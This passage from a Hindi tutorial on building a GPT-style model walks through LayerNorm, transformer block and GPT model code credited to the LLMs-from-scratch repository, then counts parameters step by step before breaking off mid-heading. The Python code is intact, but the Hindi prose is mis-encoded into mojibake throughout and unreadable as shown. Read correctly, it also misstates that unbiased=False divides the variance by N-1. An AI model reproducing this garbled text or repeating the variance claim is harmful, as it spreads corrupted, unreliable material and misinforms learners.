рд╣реИ, рдкреНрд░рд╕рд╛рд░рдг рдХреЗ рд▓рд┐рдП рдЖрдпрд╛рдо рдХреЛ рдмрдирд╛рдП рд░рдЦрддреЗ рд╣реБрдП (`keepdim=True`)ред -- **рд╡реИрд░рд┐рдПрдВрд╕ рдХреА рдЧрдгрдирд╛ (`var`):** рдПрдореНрдмреЗрдбрд┐рдВрдЧ рдЖрдпрд╛рдо рдХреЗ рдмреАрдЪ `x` рдХрд╛ рд╡реИрд░рд┐рдПрдВрд╕ рдирд┐рдХрд╛рд▓рддрд╛ рд╣реИ, рдЖрдпрд╛рдо рдХреЛ рднреА рдмрдирд╛рдП рд░рдЦрддреЗ рд╣реБрдПред `unbiased=False` рдкреИрд░рд╛рдореАрдЯрд░ рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ рд╡реИрд░рд┐рдПрдВрд╕ рдкреВрд░реНрд╡рд╛рдЧреНрд░рд╣рд┐рдд рдЕрдиреБрдорд╛рдирдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдирд┐рдХрд╛рд▓рд╛ рдЬрд╛рддрд╛ рд╣реИ (рдЬрд┐рд╕рдореЗрдВ `N` рдХреЗ рдмрдЬрд╛рдп `N-1` рд╕реЗ рд╡рд┐рднрд╛рдЬрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ), рдЬреЛ рд╡рд┐рд╢реЗрд╖рддрд╛рдУрдВ рдХреЗ рдмрдЬрд╛рдп рдирдореВрдиреЛрдВ рдкрд░ рд╕рд╛рдорд╛рдиреНрдпреАрдХреГрдд рдХрд░рддреЗ рд╕рдордп рдЙрдкрдпреБрдХреНрдд рд╣реИред -- **рдиреЙрд░реНрдорд▓рд╛рдЗрдЬ рдХрд░реЗрдВ (`norm_x`):** `x` рд╕реЗ рдореАрди рдШрдЯрд╛рддрд╛ рд╣реИ рдФрд░ рд╡реИрд░рд┐рдПрдВрд╕ рдХреЗ рд╡рд░реНрдЧрдореВрд▓ рдХреЗ рд╕рд╛рде `eps` рдХреЛ рдЬреЛрдбрд╝рдХрд░ рд╡рд┐рднрд╛рдЬрд┐рдд рдХрд░рддрд╛ рд╣реИред -- **рд╕реНрдХреЗрд▓ рдФрд░ рд╢рд┐рдлреНрдЯ:** рд╕рд╛рдорд╛рдиреНрдпреАрдХреГрдд рдЖрдЙрдЯрдкреБрдЯ рдкрд░ рд╕реАрдЦрдиреЗ рдпреЛрдЧреНрдп `scale` рдФрд░ `shift` рдкреИрд░рд╛рдореАрдЯрд░ рд▓рд╛рдЧреВ рдХрд░рддрд╛ рд╣реИред - -> [!NOTE] -> рд▓рдХреНрд╖реНрдп рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рдирд╛ рд╣реИ рдХрд┐ рдПрдХ рд╣реА рдЯреЛрдХрди рдХреЗ рд╕рднреА рдЖрдпрд╛рдореЛрдВ рдореЗрдВ 0 рдХрд╛ рдореАрди рдФрд░ 1 рдХрд╛ рд╡реИрд░рд┐рдПрдВрд╕ рд╣реЛред рдЗрд╕рдХрд╛ рд▓рдХреНрд╖реНрдп **рдЧрд╣рд░реЗ рдиреНрдпреВрд░рд▓ рдиреЗрдЯрд╡рд░реНрдХ рдХреЗ рдкреНрд░рд╢рд┐рдХреНрд╖рдг рдХреЛ рд╕реНрдерд┐рд░ рдХрд░рдирд╛** рд╣реИ, рдЬреЛ рдкреНрд░рд╢рд┐рдХреНрд╖рдг рдХреЗ рджреМрд░рд╛рди рдкреИрд░рд╛рдореАрдЯрд░ рдХреЗ рдЕрджреНрдпрддрди рдХреЗ рдХрд╛рд░рдг рдиреЗрдЯрд╡рд░реНрдХ рд╕рдХреНрд░рд┐рдпрдг рдХреЗ рд╡рд┐рддрд░рдг рдореЗрдВ рдкрд░рд┐рд╡рд░реНрддрди рдХреЛ рд╕рдВрджрд░реНрднрд┐рдд рдХрд░рддрд╛ рд╣реИред - -### **рдЯреНрд░рд╛рдВрд╕рдлрд╛рд░реНрдорд░ рдмреНрд▓реЙрдХ** - -_рдЖрдХреГрддрд┐рдпреЛрдВ рдХреЛ рдореИрдЯреНрд░рд┐рд╕реЗрд╕ рдХреЗ рдЖрдХрд╛рд░ рдХреЛ рдмреЗрд╣рддрд░ рд╕рдордЭрдиреЗ рдХреЗ рд▓рд┐рдП рдЯрд┐рдкреНрдкрдгрд┐рдпреЛрдВ рдХреЗ рд░реВрдк рдореЗрдВ рдЬреЛрдбрд╝рд╛ рдЧрдпрд╛ рд╣реИ:_ -```python -# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04 - -class TransformerBlock(nn.Module): -def __init__(self, cfg): -super().__init__() -self.att = MultiHeadAttention( -d_in=cfg["emb_dim"], -d_out=cfg["emb_dim"], -context_length=cfg["context_length"], -num_heads=cfg["n_heads"], -dropout=cfg["drop_rate"], -qkv_bias=cfg["qkv_bias"] -) -self.ff = FeedForward(cfg) -self.norm1 = LayerNorm(cfg["emb_dim"]) -self.norm2 = LayerNorm(cfg["emb_dim"]) -self.drop_shortcut = nn.Dropout(cfg["drop_rate"]) - -def forward(self, x): -# x shape: (batch_size, seq_len, emb_dim) - -# Shortcut connection for attention block -shortcut = x # shape: (batch_size, seq_len, emb_dim) -x = self.norm1(x) # shape remains (batch_size, seq_len, emb_dim) -x = self.att(x) # shape: (batch_size, seq_len, emb_dim) -x = self.drop_shortcut(x) # shape remains (batch_size, seq_len, emb_dim) -x = x + shortcut # shape: (batch_size, seq_len, emb_dim) - -# Shortcut connection for feedforward block -shortcut = x # shape: (batch_size, seq_len, emb_dim) -x = self.norm2(x) # shape remains (batch_size, seq_len, emb_dim) -x = self.ff(x) # shape: (batch_size, seq_len, emb_dim) -x = self.drop_shortcut(x) # shape remains (batch_size, seq_len, emb_dim) -x = x + shortcut # shape: (batch_size, seq_len, emb_dim) - -return x # Output shape: (batch_size, seq_len, emb_dim) - -``` -#### **рдЙрджреНрджреЗрд╢реНрдп рдФрд░ рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛** - -- **рдкрд░рддреЛрдВ рдХреА рд╕рдВрд░рдЪрдирд╛:** рдорд▓реНрдЯреА-рд╣реЗрдб рдзреНрдпрд╛рди, рдлреАрдбрдлреЙрд░рд╡рд░реНрдб рдиреЗрдЯрд╡рд░реНрдХ, рдкрд░рдд рд╕рд╛рдорд╛рдиреНрдпреАрдХрд░рдг, рдФрд░ рдЕрд╡рд╢рд┐рд╖реНрдЯ рдХрдиреЗрдХреНрд╢рди рдХреЛ рдЬреЛрдбрд╝рддрд╛ рд╣реИред -- **рдкрд░рдд рд╕рд╛рдорд╛рдиреНрдпреАрдХрд░рдг:** рд╕реНрдерд┐рд░ рдкреНрд░рд╢рд┐рдХреНрд╖рдг рдХреЗ рд▓рд┐рдП рдзреНрдпрд╛рди рдФрд░ рдлреАрдбрдлреЙрд░рд╡рд░реНрдб рдкрд░рддреЛрдВ рд╕реЗ рдкрд╣рд▓реЗ рд▓рд╛рдЧреВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред -- **рдЕрд╡рд╢рд┐рд╖реНрдЯ рдХрдиреЗрдХреНрд╢рди (рд╢реЙрд░реНрдЯрдХрдЯ):** рдЧреНрд░реЗрдбрд┐рдПрдВрдЯ рдкреНрд░рд╡рд╛рд╣ рдореЗрдВ рд╕реБрдзрд╛рд░ рдХрд░рдиреЗ рдФрд░ рдЧрд╣рд░реЗ рдиреЗрдЯрд╡рд░реНрдХ рдХреЗ рдкреНрд░рд╢рд┐рдХреНрд╖рдг рдХреЛ рд╕рдХреНрд╖рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдкрд░рдд рдХреЗ рдЗрдирдкреБрдЯ рдХреЛ рдЗрд╕рдХреЗ рдЖрдЙрдЯрдкреБрдЯ рдореЗрдВ рдЬреЛрдбрд╝рддрд╛ рд╣реИред -- **рдбреНрд░реЙрдкрдЖрдЙрдЯ:** рдирд┐рдпрдорд┐рддреАрдХрд░рдг рдХреЗ рд▓рд┐рдП рдзреНрдпрд╛рди рдФрд░ рдлреАрдбрдлреЙрд░рд╡рд░реНрдб рдкрд░рддреЛрдВ рдХреЗ рдмрд╛рдж рд▓рд╛рдЧреВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред - -#### **рдЪрд░рдг-рджрд░-рдЪрд░рдг рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛** - -1. **рдкрд╣рд▓рд╛ рдЕрд╡рд╢рд┐рд╖реНрдЯ рдкрде (рд╕реНрд╡рдпрдВ-рдзреНрдпрд╛рди):** -- **рдЗрдирдкреБрдЯ (`shortcut`):** рдЕрд╡рд╢рд┐рд╖реНрдЯ рдХрдиреЗрдХреНрд╢рди рдХреЗ рд▓рд┐рдП рдореВрд▓ рдЗрдирдкреБрдЯ рдХреЛ рд╕рд╣реЗрдЬреЗрдВред -- **рдкрд░рдд рдорд╛рдирдХ (`norm1`):** рдЗрдирдкреБрдЯ рдХреЛ рд╕рд╛рдорд╛рдиреНрдпреАрдХреГрдд рдХрд░реЗрдВред -- **рдорд▓реНрдЯреА-рд╣реЗрдб рдзреНрдпрд╛рди (`att`):** рд╕реНрд╡рдпрдВ-рдзреНрдпрд╛рди рд▓рд╛рдЧреВ рдХрд░реЗрдВред -- **рдбреНрд░реЙрдкрдЖрдЙрдЯ (`drop_shortcut`):** рдирд┐рдпрдорд┐рддреАрдХрд░рдг рдХреЗ рд▓рд┐рдП рдбреНрд░реЙрдкрдЖрдЙрдЯ рд▓рд╛рдЧреВ рдХрд░реЗрдВред -- **рдЕрд╡рд╢рд┐рд╖реНрдЯ рдЬреЛрдбрд╝реЗрдВ (`x + shortcut`):** рдореВрд▓ рдЗрдирдкреБрдЯ рдХреЗ рд╕рд╛рде рдорд┐рд▓рд╛рдПрдВред -2. **рджреВрд╕рд░рд╛ рдЕрд╡рд╢рд┐рд╖реНрдЯ рдкрде (рдлреАрдбрдлреЙрд░рд╡рд░реНрдб):** -- **рдЗрдирдкреБрдЯ (`shortcut`):** рдЕрдЧрд▓реЗ рдЕрд╡рд╢рд┐рд╖реНрдЯ рдХрдиреЗрдХреНрд╢рди рдХреЗ рд▓рд┐рдП рдЕрдкрдбреЗрдЯреЗрдб рдЗрдирдкреБрдЯ рдХреЛ рд╕рд╣реЗрдЬреЗрдВред -- **рдкрд░рдд рдорд╛рдирдХ (`norm2`):** рдЗрдирдкреБрдЯ рдХреЛ рд╕рд╛рдорд╛рдиреНрдпреАрдХреГрдд рдХрд░реЗрдВред -- **рдлреАрдбрдлреЙрд░рд╡рд░реНрдб рдиреЗрдЯрд╡рд░реНрдХ (`ff`):** рдлреАрдбрдлреЙрд░рд╡рд░реНрдб рдкрд░рд┐рд╡рд░реНрддрди рд▓рд╛рдЧреВ рдХрд░реЗрдВред -- **рдбреНрд░реЙрдкрдЖрдЙрдЯ (`drop_shortcut`):** рдбреНрд░реЙрдкрдЖрдЙрдЯ рд▓рд╛рдЧреВ рдХрд░реЗрдВред -- **рдЕрд╡рд╢рд┐рд╖реНрдЯ рдЬреЛрдбрд╝реЗрдВ (`x + shortcut`):** рдкрд╣рд▓реЗ рдЕрд╡рд╢рд┐рд╖реНрдЯ рдкрде рд╕реЗ рдЗрдирдкреБрдЯ рдХреЗ рд╕рд╛рде рдорд┐рд▓рд╛рдПрдВред - -> [!NOTE] -> рдЯреНрд░рд╛рдВрд╕рдлрд╛рд░реНрдорд░ рдмреНрд▓реЙрдХ рд╕рднреА рдиреЗрдЯрд╡рд░реНрдХ рдХреЛ рдПрдХ рд╕рд╛рде рд╕рдореВрд╣рд┐рдд рдХрд░рддрд╛ рд╣реИ рдФрд░ рдкреНрд░рд╢рд┐рдХреНрд╖рдг рд╕реНрдерд┐рд░рддрд╛ рдФрд░ рдкрд░рд┐рдгрд╛рдореЛрдВ рдореЗрдВ рд╕реБрдзрд╛рд░ рдХреЗ рд▓рд┐рдП рдХреБрдЫ **рд╕рд╛рдорд╛рдиреНрдпреАрдХрд░рдг** рдФрд░ **рдбреНрд░реЙрдкрдЖрдЙрдЯ** рд▓рд╛рдЧреВ рдХрд░рддрд╛ рд╣реИред\ -> рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдбреНрд░реЙрдкрдЖрдЙрдЯ рдкреНрд░рддреНрдпреЗрдХ рдиреЗрдЯрд╡рд░реНрдХ рдХреЗ рдЙрдкрдпреЛрдЧ рдХреЗ рдмрд╛рдж рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬрдмрдХрд┐ рд╕рд╛рдорд╛рдиреНрдпреАрдХрд░рдг рдкрд╣рд▓реЗ рд▓рд╛рдЧреВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред -> -> рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдпрд╣ рд╢реЙрд░реНрдЯрдХрдЯ рдХрд╛ рднреА рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ рдЬрд┐рд╕рдореЗрдВ **рдПрдХ рдиреЗрдЯрд╡рд░реНрдХ рдХреЗ рдЖрдЙрдЯрдкреБрдЯ рдХреЛ рдЗрд╕рдХреЗ рдЗрдирдкреБрдЯ рдХреЗ рд╕рд╛рде рдЬреЛрдбрд╝рдирд╛** рд╢рд╛рдорд┐рд▓ рд╣реИред рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рдХреЗ рд╡реИрдирд┐рд╢рд┐рдВрдЧ рдЧреНрд░реЗрдбрд┐рдПрдВрдЯ рд╕рдорд╕реНрдпрд╛ рдХреЛ рд░реЛрдХрдиреЗ рдореЗрдВ рдорджрдж рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдкреНрд░рд╛рд░рдВрднрд┐рдХ рдкрд░рддреЗрдВ "рдЬрд┐рддрдирд╛ рд╕рдВрднрд╡" рдЕрдВрддрд┐рдо рдкрд░рддреЛрдВ рдореЗрдВ рдпреЛрдЧрджрд╛рди рдХрд░рддреА рд╣реИрдВред - -### **GPTModel** - -_рдЖрдХреГрддрд┐рдпреЛрдВ рдХреЛ рдореИрдЯреНрд░рд┐рд╕ рдХреЗ рдЖрдХрд╛рд░ рдХреЛ рдмреЗрд╣рддрд░ рд╕рдордЭрдиреЗ рдХреЗ рд▓рд┐рдП рдЯрд┐рдкреНрдкрдгрд┐рдпреЛрдВ рдХреЗ рд░реВрдк рдореЗрдВ рдЬреЛрдбрд╝рд╛ рдЧрдпрд╛ рд╣реИ:_ -```python -# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04 -class GPTModel(nn.Module): -def __init__(self, cfg): -super().__init__() -self.tok_emb = nn.Embedding(cfg["vocab_size"], cfg["emb_dim"]) -# shape: (vocab_size, emb_dim) - -self.pos_emb = nn.Embedding(cfg["context_length"], cfg["emb_dim"]) -# shape: (context_length, emb_dim) - -self.drop_emb = nn.Dropout(cfg["drop_rate"]) - -self.trf_blocks = nn.Sequential( -*[TransformerBlock(cfg) for _ in range(cfg["n_layers"])] -) -# Stack of TransformerBlocks - -self.final_norm = LayerNorm(cfg["emb_dim"]) -self.out_head = nn.Linear(cfg["emb_dim"], cfg["vocab_size"], bias=False) -# shape: (emb_dim, vocab_size) - -def forward(self, in_idx): -# in_idx shape: (batch_size, seq_len) -batch_size, seq_len = in_idx.shape - -# Token embeddings -tok_embeds = self.tok_emb(in_idx) -# shape: (batch_size, seq_len, emb_dim) - -# Positional embeddings -pos_indices = torch.arange(seq_len, device=in_idx.device) -# shape: (seq_len,) -pos_embeds = self.pos_emb(pos_indices) -# shape: (seq_len, emb_dim) - -# Add token and positional embeddings -x = tok_embeds + pos_embeds # Broadcasting over batch dimension -# x shape: (batch_size, seq_len, emb_dim) - -x = self.drop_emb(x) # Dropout applied -# x shape remains: (batch_size, seq_len, emb_dim) - -x = self.trf_blocks(x) # Pass through Transformer blocks -# x shape remains: (batch_size, seq_len, emb_dim) - -x = self.final_norm(x) # Final LayerNorm -# x shape remains: (batch_size, seq_len, emb_dim) - -logits = self.out_head(x) # Project to vocabulary size -# logits shape: (batch_size, seq_len, vocab_size) - -return logits # Output shape: (batch_size, seq_len, vocab_size) -``` -#### **рдЙрджреНрджреЗрд╢реНрдп рдФрд░ рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛** - -- **Embedding Layers:** -- **Token Embeddings (`tok_emb`):** рдЯреЛрдХрди рдЕрдиреБрдХреНрд░рдореЛрдВ рдХреЛ рдПрдореНрдмреЗрдбрд┐рдВрдЧ рдореЗрдВ рдкрд░рд┐рд╡рд░реНрддрд┐рдд рдХрд░рддрд╛ рд╣реИред рдпрд╛рдж рджрд┐рд▓рд╛рдиреЗ рдХреЗ рд▓рд┐рдП, рдпреЗ рд╢рдмреНрджрд╛рд╡рд▓реА рдореЗрдВ рдкреНрд░рддреНрдпреЗрдХ рдЯреЛрдХрди рдХреЗ рдкреНрд░рддреНрдпреЗрдХ рдЖрдпрд╛рдо рдХреЛ рджрд┐рдП рдЧрдП рд╡рдЬрди рд╣реИрдВред -- **Positional Embeddings (`pos_emb`):** рдПрдореНрдмреЗрдбрд┐рдВрдЧ рдореЗрдВ рд╕реНрдерд┐рддрд┐ рд╕рдВрдмрдВрдзреА рдЬрд╛рдирдХрд╛рд░реА рдЬреЛрдбрд╝рддрд╛ рд╣реИ рддрд╛рдХрд┐ рдЯреЛрдХрдиреЛрдВ рдХреЗ рдХреНрд░рдо рдХреЛ рдХреИрдкреНрдЪрд░ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред рдпрд╛рдж рджрд┐рд▓рд╛рдиреЗ рдХреЗ рд▓рд┐рдП, рдпреЗ рдЯреЗрдХреНрд╕реНрдЯ рдореЗрдВ рдЯреЛрдХрди рдХреА рд╕реНрдерд┐рддрд┐ рдХреЗ рдЕрдиреБрд╕рд╛рд░ рджрд┐рдП рдЧрдП рд╡рдЬрди рд╣реИрдВред -- **Dropout (`drop_emb`):** рдирд┐рдпрдорд┐рддреАрдХрд░рдг рдХреЗ рд▓рд┐рдП рдПрдореНрдмреЗрдбрд┐рдВрдЧ рдкрд░ рд▓рд╛рдЧреВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред -- **Transformer Blocks (`trf_blocks`):** рдПрдореНрдмреЗрдбрд┐рдВрдЧ рдХреЛ рдкреНрд░реЛрд╕реЗрд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП `n_layers` рдЯреНрд░рд╛рдВрд╕рдлрд╛рд░реНрдорд░ рдмреНрд▓реЙрдХреЛрдВ рдХрд╛ рд╕реНрдЯреИрдХред -- **Final Normalization (`final_norm`):** рдЖрдЙрдЯрдкреБрдЯ рд▓реЗрдпрд░ рд╕реЗ рдкрд╣рд▓реЗ рд▓реЗрдпрд░ рдиреЙрд░реНрдорд▓рд╛рдЗрдЬреЗрд╢рдиред -- **Output Layer (`out_head`):** рднрд╡рд┐рд╖реНрдпрд╡рд╛рдгреА рдХреЗ рд▓рд┐рдП рд▓реЙрдЬрд┐рдЯ рдЙрддреНрдкрдиреНрди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдВрддрд┐рдо рдЫрд┐рдкреЗ рд╣реБрдП рд░рд╛рдЬреНрдпреЛрдВ рдХреЛ рд╢рдмреНрджрд╛рд╡рд▓реА рдХреЗ рдЖрдХрд╛рд░ рдкрд░ рдкреНрд░рдХреНрд╖рд┐рдкреНрдд рдХрд░рддрд╛ рд╣реИред - -> [!NOTE] -> рдЗрд╕ рд╡рд░реНрдЧ рдХрд╛ рд▓рдХреНрд╖реНрдп **рдЕрдиреБрдХреНрд░рдо рдореЗрдВ рдЕрдЧрд▓рд╛ рдЯреЛрдХрди рднрд╡рд┐рд╖реНрдпрд╡рд╛рдгреА рдХрд░рдирд╛** рд╣реИ, рдЬреЛ рдЯреЗрдХреНрд╕реНрдЯ рдЬрдирд░реЗрд╢рди рдЬреИрд╕реЗ рдХрд╛рд░реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП рдореМрд▓рд┐рдХ рд╣реИред -> -> рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдпрд╣ **рдЬрд┐рддрдиреЗ рдЯреНрд░рд╛рдВрд╕рдлрд╛рд░реНрдорд░ рдмреНрд▓реЙрдХреЛрдВ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдЧрд╛ рдФрд░ рдкреНрд░рддреНрдпреЗрдХ рдЯреНрд░рд╛рдВрд╕рдлрд╛рд░реНрдорд░ рдмреНрд▓реЙрдХ рдПрдХ рдорд▓реНрдЯреА-рд╣реЗрдб рдЕрдЯреЗрдВрд╢рди рдиреЗрдЯ, рдПрдХ рдлреАрдб рдлреЙрд░рд╡рд░реНрдб рдиреЗрдЯ рдФрд░ рдХрдИ рдиреЙрд░реНрдорд▓рд╛рдЗрдЬреЗрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣рд╛ рд╣реИред рдЗрд╕рд▓рд┐рдП рдпрджрд┐ 12 рдЯреНрд░рд╛рдВрд╕рдлрд╛рд░реНрдорд░ рдмреНрд▓реЙрдХреНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдЗрд╕реЗ 12 рд╕реЗ рдЧреБрдгрд╛ рдХрд░реЗрдВред -> -> рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдПрдХ **рдиреЙрд░реНрдорд▓рд╛рдЗрдЬреЗрд╢рди** рд▓реЗрдпрд░ **рдЖрдЙрдЯрдкреБрдЯ** рд╕реЗ **рдкрд╣рд▓реЗ** рдЬреЛрдбрд╝реА рдЬрд╛рддреА рд╣реИ рдФрд░ рдЕрдВрдд рдореЗрдВ рдкрд░рд┐рдгрд╛рдореЛрдВ рдХреЛ рдЙрдЪрд┐рдд рдЖрдпрд╛рдореЛрдВ рдХреЗ рд╕рд╛рде рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдЕрдВрддрд┐рдо рд░реИрдЦрд┐рдХ рд▓реЗрдпрд░ рд▓рд╛рдЧреВ рдХреА рдЬрд╛рддреА рд╣реИред рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдкреНрд░рддреНрдпреЗрдХ рдЕрдВрддрд┐рдо рд╡реЗрдХреНрдЯрд░ рдХрд╛ рдЖрдХрд╛рд░ рдЙрдкрдпреЛрдЧ рдХреА рдЧрдИ рд╢рдмреНрджрд╛рд╡рд▓реА рдХреЗ рдЖрдХрд╛рд░ рдХреЗ рдмрд░рд╛рдмрд░ рд╣реИред рдЗрд╕рдХрд╛ рдХрд╛рд░рдг рдпрд╣ рд╣реИ рдХрд┐ рдпрд╣ рд╢рдмреНрджрд╛рд╡рд▓реА рдХреЗ рднреАрддрд░ рд╕рдВрднрд╛рд╡рд┐рдд рдЯреЛрдХрди рдХреЗ рд▓рд┐рдП рдПрдХ рд╕рдВрднрд╛рд╡рдирд╛ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд░рд╣рд╛ рд╣реИред - -## рдкреНрд░рд╢рд┐рдХреНрд╖рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкреИрд░рд╛рдореАрдЯрд░ рдХреА рд╕рдВрдЦреНрдпрд╛ - -GPT рд╕рдВрд░рдЪрдирд╛ рдХреЛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж, рдкреНрд░рд╢рд┐рдХреНрд╖рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкреИрд░рд╛рдореАрдЯрд░ рдХреА рд╕рдВрдЦреНрдпрд╛ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдирд╛ рд╕рдВрднрд╡ рд╣реИ: -```python -GPT_CONFIG_124M = { -"vocab_size": 50257, # Vocabulary size -"context_length": 1024, # Context length -"emb_dim": 768, # Embedding dimension -"n_heads": 12, # Number of attention heads -"n_layers": 12, # Number of layers -"drop_rate": 0.1, # Dropout rate -"qkv_bias": False # Query-Key-Value bias -} - -model = GPTModel(GPT_CONFIG_124M) -total_params = sum(p.numel() for p in model.parameters()) -print(f"Total number of parameters: {total_params:,}") -# Total number of parameters: 163,009,536 -``` -### **рдЪрд░рдг-рджрд░-рдЪрд░рдг рдЧрдгрдирд╛** - -#### **1. рдПрдореНрдмреЗрдбрд┐рдВрдЧ рдкрд░рддреЗрдВ: рдЯреЛрдХрди рдПрдореНрдмреЗрдбрд┐рдВрдЧ рдФрд░ рд╕реНрдерд┐рддрд┐ рдПрдореНрдмреЗрдбрд┐рдВрдЧ** - -- **рдкрд░рдд:** `nn.Embedding(vocab_size, emb_dim)` -- **рдкреИрд░рд╛рдореАрдЯрд░:** `vocab_size * emb_dim` -```python -token_embedding_params = 50257 * 768 = 38,597,376 -``` -- **рдкрд░рдд:** `nn.Embedding(context_length, emb_dim)` -- **рдкреИрд░рд╛рдореАрдЯрд░:** `context_length * emb_dim` -```python -position_embedding_params = 1024 * 768 = 786,432 -``` -**рдХреБрд▓ рдПрдореНрдмреЗрдбрд┐рдВрдЧ рдкреИрд░рд╛рдореАрдЯрд░** -```python -embedding_params = token_embedding_params + position_embedding_params -embedding_params = 38,597,376 + 786,432 = 39,383,808 -``` -#### **2. Transformer Blocks** - -рдпрд╣рд╛рдВ 12 рдЯреНрд░рд╛рдВрд╕рдлрд╛рд░реНрдорд░ рдмреНрд▓реЙрдХ рд╣реИрдВ, рдЗрд╕рд▓рд┐рдП рд╣рдо рдПрдХ рдмреНрд▓реЙрдХ рдХреЗ рд▓рд┐рдП рдкреИрд░рд╛рдореАрдЯрд░ рдХреА рдЧрдгрдирд╛ рдХрд░реЗрдВрдЧреЗ рдФрд░ рдлрд┐рд░ 12 рд╕реЗ рдЧреБрдгрд╛ рдХрд░реЗрдВрдЧреЗред - -**рдкреНрд░рддреНрдпреЗрдХ рдЯреНрд░рд╛рдВрд╕рдлрд╛рд░реНрдорд░ рдмреНрд▓реЙрдХ рдХреЗ рд▓рд┐рдП рдкреИрд░рд╛рдореАрдЯрд░** - -**a. рдорд▓реНрдЯреА-рд╣реЗрдб рдЕрдЯреЗрдВрд╢рди** - -- **рдШрдЯрдХ:** -- **рдХреНрд╡реЗрд░реА рд▓реАрдирд┐рдпрд░ рд▓реЗрдпрд░ (`W_query`):** `nn.Linear(emb_dim, emb_dim, bias=False)` -- **рдХреА рд▓реАрдирд┐рдпрд░ рд▓реЗрдпрд░ (`W_key`):** `nn.Linear(emb_dim, emb_dim, bias=False)` -- **рд╡реИрд▓реНрдпреВ рд▓реАрдирд┐рдпрд░ рд▓реЗрдпрд░ (`W_value`):** `nn.Linear(emb_dim, emb_dim, bias=False)` -- **рдЖрдЙрдЯрдкреБрдЯ рдкреНрд░реЛрдЬреЗрдХреНрд╢рди (`out_proj`):** `nn.Linear(emb_dim, emb_dim)` -- **рдЧрдгрдирд╛рдПрдБ:** - -- **`W_query`, `W_key`, `W_value` рдореЗрдВ рд╕реЗ рдкреНрд░рддреНрдпреЗрдХ:** - -```python -qkv_params = emb_dim * emb_dim = 768 * 768 = 589,824 -``` - -рдЪреВрдВрдХрд┐ рдРрд╕реА рддреАрди рд▓реЗрдпрд░ рд╣реИрдВ: - -```python -total_qkv_params = 3 * qkv_params = 3 * 589,824 = 1,769,472 -``` - -- **рдЖрдЙрдЯрдкреБрдЯ рдкреНрд░реЛрдЬреЗрдХреНрд╢рди (`out_proj`):** - -```python -out_proj_params = (emb_dim * emb_dim) + emb_dim = (768 * 768) + 768 = 589,824 + 768 = 590,592 -``` - -- **рдХреБрд▓ рдорд▓реНрдЯреА-рд╣реЗрдб рдЕрдЯреЗрдВрд╢рди рдкреИрд░рд╛рдореАрдЯрд░:** - -```python -mha_params = total_qkv_params + out_proj_params -mha_params = 1,769,472 + 590,592 = 2,360,064 -``` - -**b. рдлреАрдбрдлреЙрд░рд╡рд░реНрдб рдиреЗрдЯрд╡рд░реНрдХ** - -- **рдШрдЯрдХ:** -- **рдкрд╣рд▓реА рд▓реАрдирд┐рдпрд░ рд▓реЗрдпрд░:** `nn.Linear(emb_dim, 4 * emb_dim)` -- **рджреВрд╕рд░реА рд▓реАрдирд┐рдпрд░ рд▓реЗрдпрд░:** `nn.Linear(4 * emb_dim, emb_dim)` -- **рдЧрдгрдирд╛рдПрдБ:** - -- **рдкрд╣рд▓реА рд▓реАрдирд┐рдпрд░ рд▓реЗрдпрд░:** - -```python -ff_first_layer_params = (emb_dim * 4 * emb_dim) + (4 * emb_dim) -ff_first_layer_params = (768 * 3072) + 3072 = 2,359,296 + 3,072 = 2,362,368 -``` - -- **рджреВрд╕рд░реА рд▓реАрдирд┐рдпрд░ рд▓реЗрдпрд░:** - -```python -ff_second_layer_params = (4 * emb_dim * emb_dim) + emb_dim -ff_second_layer_params = (3072 * 768) + 768 = 2,359,296 + 768 = 2,360,064 -``` - -- **рдХреБрд▓ рдлреАрдбрдлреЙрд░рд╡рд░реНрдб рдкреИрд░рд╛рдореАрдЯрд░:** - -```python -ff_params = ff_first_layer_params + ff_second_layer_params -ff_params = 2,362,368 + 2,360,064 = 4,722,432 -``` - -**c. рд▓реЗрдпрд░ 